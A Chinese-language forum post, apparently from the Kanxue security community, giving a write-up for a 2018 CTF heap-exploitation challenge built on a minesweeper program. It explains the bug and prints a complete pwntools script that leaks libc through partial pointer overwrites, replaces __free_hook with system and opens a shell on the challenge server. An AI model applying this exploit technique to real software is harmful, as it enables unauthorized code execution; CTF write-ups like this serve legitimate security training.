首页
社区
课程
招聘
[原创]看雪.京东 2018CTF 第十四题 PWN-mine sweeping
2018-7-12 22:39 2575

[原创]看雪.京东 2018CTF 第十四题 PWN-mine sweeping

2018-7-12 22:39
2575

又是保护全开的堆考题。

 

程序主体是个扫雷游戏,8x8的棋盘,30个雷,如下图:

 

图片描述

 

这里判断了是否在游戏中,如果在游戏中就不再进行初始化。

 

游戏逻辑稍显复杂,但比较关键的是赢了游戏之后的留名功能,如下图:

 

图片描述

 

如果能够控制name指针,即可做任意地址写。

 

于是想办法泄漏libc。想要输出东西,必须走打印棋盘的逻辑。注意到输出的时候是间隔输出的,如下图。所以想要完整泄漏还必须控制这个棋盘信息字符串数组中的指针,让程序可以错位泄露。

 

图片描述

 

回到程序开头,还有一个反馈BUG功能,可以自由malloc。而游戏还有另一个关键点,退出游戏时会free几个东西:

 

图片描述

 

game_info结构体的大小是0x40,另外两个是0x50。

 

那么通过反馈BUG功能即可控制game_inf,这样可以对name指针做部分写,从而达到泄漏的目的;还可以触发consolidate合并0x50的块,从而得到libc。

 

总结一下就是,进出游戏一次,触发consolidate来获得libc指针,然后反复控制0x40的块,对name指针做低字节写入,让name指向表示棋盘的指针数组,通过留名功能即可修改字符串指针,两次低字节修改,做错位泄漏。泄漏libc之后就随便玩了,这里把name写成free_hook,再留名即可改成system。

 

完整利用脚本如下:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
code = ELF('./minesweep')
libc = ELF('./libc.so')
context.arch = code.arch
context.log_level = 'info'

def start_game():
    r.sendlineafter('$ ', '1')
def bug(size, data):
    r.sendlineafter('$ ', '2')
    r.sendlineafter(':', str(size))
    r.send(data)
def sweep(x, y, z):
    r.sendlineafter('----------------------\n', 'explore')
    r.sendlineafter('input x,y,z\n', '{},{},{}'.format(x,y,z))
def out():
    r.sendline('out, ')
def back():
    r.sendline('back, ')
def exploit(r):
    start_game()
    out()
    bug(1024, '\x00'*1024)
    bug(0xa0-8, flat(
        'A'*0x50, 
        '\x00'*42, '\n'
    ))

    bug(0x40-8, flat(
        0,1,
        0,1,
        0,'\x40\x91'
        '\n'))
    start_game()
    sweep(1,1,3)
    r.sendlineafter('hero\n', flat('\xa0\x90'))
    back()
    start_game()
    r.recvuntil('----------------------\n')
    r.recvuntil('----------------------\n')
    tmp = r.recvline().strip()
    tmp1 = tmp[0] + tmp[3] + tmp[6] + tmp[9]
    back()

    bug(0x40-8, flat(
        0,1,
        0,1,
        0,'\x40\x91'
        '\n'))
    start_game()
    sweep(1,1,3)
    r.sendlineafter('hero\n', flat('\xa1'))
    back()
    start_game()
    r.recvuntil('----------------------\n')
    r.recvuntil('----------------------\n')
    tmp = r.recvline().strip()
    tmp2 = tmp[0] + tmp[3] + tmp[6] + tmp[9]
    back()
    libc.address = u64(flat(zip(tmp1,tmp2))) - libc.sym['__malloc_hook']-0x78
    info('%016x libc.address', libc.address)

    bug(0x40-8, flat(
        0,1,
        0,1,
        0, libc.sym['__free_hook'],
        '\n'))
    start_game()
    sweep(1,1,3)
    r.sendlineafter('hero\n', flat(libc.sym['system']))
    back()
    print `tmp1`
    print `tmp2`
    bug(0x40-8, '/bin/sh\x00\n')

    r.interactive()
r = remote('139.199.99.130', 8686)
exploit(r)

有个小问题是由于堆排布的问题,让name指向指针数组需要低字节写入两个byte,需要撞其中的4bit,成功率1/16。


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

收藏
点赞1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回